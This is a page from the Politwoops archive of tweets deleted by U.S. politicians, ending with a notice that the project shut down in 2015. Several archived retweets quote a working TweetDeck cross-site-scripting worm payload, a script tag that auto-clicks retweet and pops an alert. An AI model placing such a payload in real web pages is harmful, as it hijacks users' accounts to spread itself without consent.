Politwoops Deleted Tweets from Politicians

An archive of the public statements deleted by U.S. politicians. Explore the tweets they would prefer you couldn't see.

To meet the Twitter API Terms of Service, all deleted tweets shown here since June 22, 2012 have been reviewed and approved by the Sunlight Foundation.

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Rep. Cheri Bustos (D) @RepCheri

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Rep. Cheri Bustos (D) @RepCheri

RT @diarrhea: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('I love poop')</script>♥

Pete Sessions (R) @PeteSessions

Yesterday I enjoyed meeting with students from the Harmony Science Academy in Dallas. #TX32 http://t.co/HeUdSKUv9H

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Rep. Cheri Bustos (D) @RepCheri

25 million hardworking Americans across every district will benefit if we #raisethewage to $10.10. Take a look: http://t.co/JO7uejzT1R

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Sean Parnell (R) @Parnell4Gov

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RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Adriano Espaillat (D) @EspaillatNY

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RT @RussOnPolitics: @eric_ulrich @NY1 @EspaillatNY Agreed. Rangel just comes off as angry. He seems resentful that someone even dares challenge him. #NY13

Rep. Jim McGovern (D) @McGovernMA

RT @RickCinclair: Mayor, Congressman, & Gov. greet @BarackObama at @FlyOrh #ObamaWorcester motorcade underway. http://t.co/wK3tFQxbxW

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Rep. Eric Swalwell (D) @RepSwalwell

RT @AdrienneNEdward: For those of you that asked.. My favorite active US Rep is Eric Swalwell @RepSwalwell

Rep. Lee Terry (R) @LEETERRYNE

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Enjoyed catching up with my old friend Sam Cornelius and the NE Society Delegation reception. http://t.co/IsykDgeBtt

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Sam Brownback (R) @govsambrownback

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Scott Honour (R) @ScottHonourMN

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RT @sarCCastro: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert(BENGHAZI)</script>♥

Congressman Joe Heck (R) @RepJoeHeck

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Rep. Joe Garcia (D) @RepJoeGarcia

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RT @Dani___Alves: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Quinn Campaign (D) @QuinnForIL

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How long has Republican billionaire Bruce Rauner been hiding his budget plan? This long: http://t.co/zr0GhmiBpW #StillNoPlan

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Rep. Joe Garcia (D) @RepJoeGarcia

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Today, I introduced my new #STEM bill. It will help boost our economy, create jobs & promote innovation. Read more http://t.co/GsWwj8NbAf

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Rep. Henry A. Waxman (D) @WaxmanClimate

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RT @The_Red_Bull: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Rep. Henry A. Waxman (D) @WaxmanClimate

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RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

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On June 3, 2015, the Sunlight Foundation received word from Twitter that it was pulling the plug on Politwoops, reversing an agreement made in 2012 that allowed us to run the project using its API. The last deletions we have archived are from May 15, 2015. Please read our 'Eulogy for Politwoops' for more detail.

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